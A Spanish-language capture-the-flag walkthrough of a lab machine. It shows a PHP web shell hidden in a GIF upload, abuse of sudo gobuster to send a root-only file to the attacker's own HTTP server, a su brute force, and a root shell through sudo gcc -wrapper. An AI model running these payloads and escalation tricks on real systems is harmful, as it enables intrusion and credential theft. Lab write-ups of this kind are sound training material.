Enumeramos puertos y directorios:
❯ nmap -sCV -p 80 -oN 02-targeted.txt 192.168.1.13
...
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: RodGar - Subir Imagen
...
❯ gobuster dir -u 'http://192.168.1.13/uploads' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,gif,zip -r
...
/clue.txt (Status: 200) [Size: 17]
...
❯ cat clue.txt
/root/rodgarpassEl robots.txt contiene el código fuente del uploader en base64, que revela que los archivos subidos se renombran con ROT13:
$encryptedFileName = strtr($fileBaseName,
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm');Solo se permiten jpg/jpeg/gif, pero los .gif se sirven como texto, así que subimos un GIF con PHP embebido (nombre pwned → ROT13 cjarq):
❯ less pwned.gif
...
GIF89a;<?php system($_GET["cmd"]);?>
...http://192.168.1.13/uploads/cjarq.gif?cmd=id
GIF89a;uid=33(www-data) gid=33(www-data) groups=33(www-data)Lanzamos una reverse shell y, ya como www-data, revisamos sudo -l:
www-data@debian:/var/www$ sudo -l
...
User www-data may run the following commands on debian:
(ALL) NOPASSWD: /usr/bin/gobusterUsamos gobuster (contra un servidor nuestro) para leer el archivo /root/rodgarpass indicado en el clue, ya que cada línea del archivo se solicita como una ruta:
www-data@debian:/var/www$ sudo gobuster dir -u http://192.168.1.7:8000 -w /root/rodgarpass
❯ python3 -m http.server
...
192.168.1.13 - - [25/Nov/2024 23:48:27] "GET /[redacted]85e7b0f2 HTTP/1.1" 404 -Recuperamos un hash de 31 caracteres; generamos un wordlist probando el carácter hex que falta y hacemos fuerza bruta de su:
❯ cat passwd.py
pwd = '[redacted]85e7b0f2'
chars = '0123456789abcdef'
with open ('wl.txt', 'a') as wl:
for letter in chars:
passwd = pwd + letter
wl.write(passwd + '\n')www-data@debian:/tmp$ ./suBF.sh -w wl.txt -u rodgar -t 0.7 -s 0.05
You can login as rodgar using password: [redacted]85e7b0f21
www-data@debian:/tmp$ su rodgar
Password: [redacted]85e7b0f21
rodgar@debian:/tmp$Obtenemos la primera flag. Revisamos sudo -l como rodgar:
rodgar@debian:/tmp$ sudo -l
...
User rodgar may run the following commands on debian:
(ALL : ALL) NOPASSWD: /usr/bin/gcc, /usr/bin/makegcc con -wrapper ejecuta un programa arbitrario como root:
rodgar@debian:~$ sudo gcc -wrapper /bin/sh,-s .
# whoami
rootObtenemos nuestra flag.
Fin.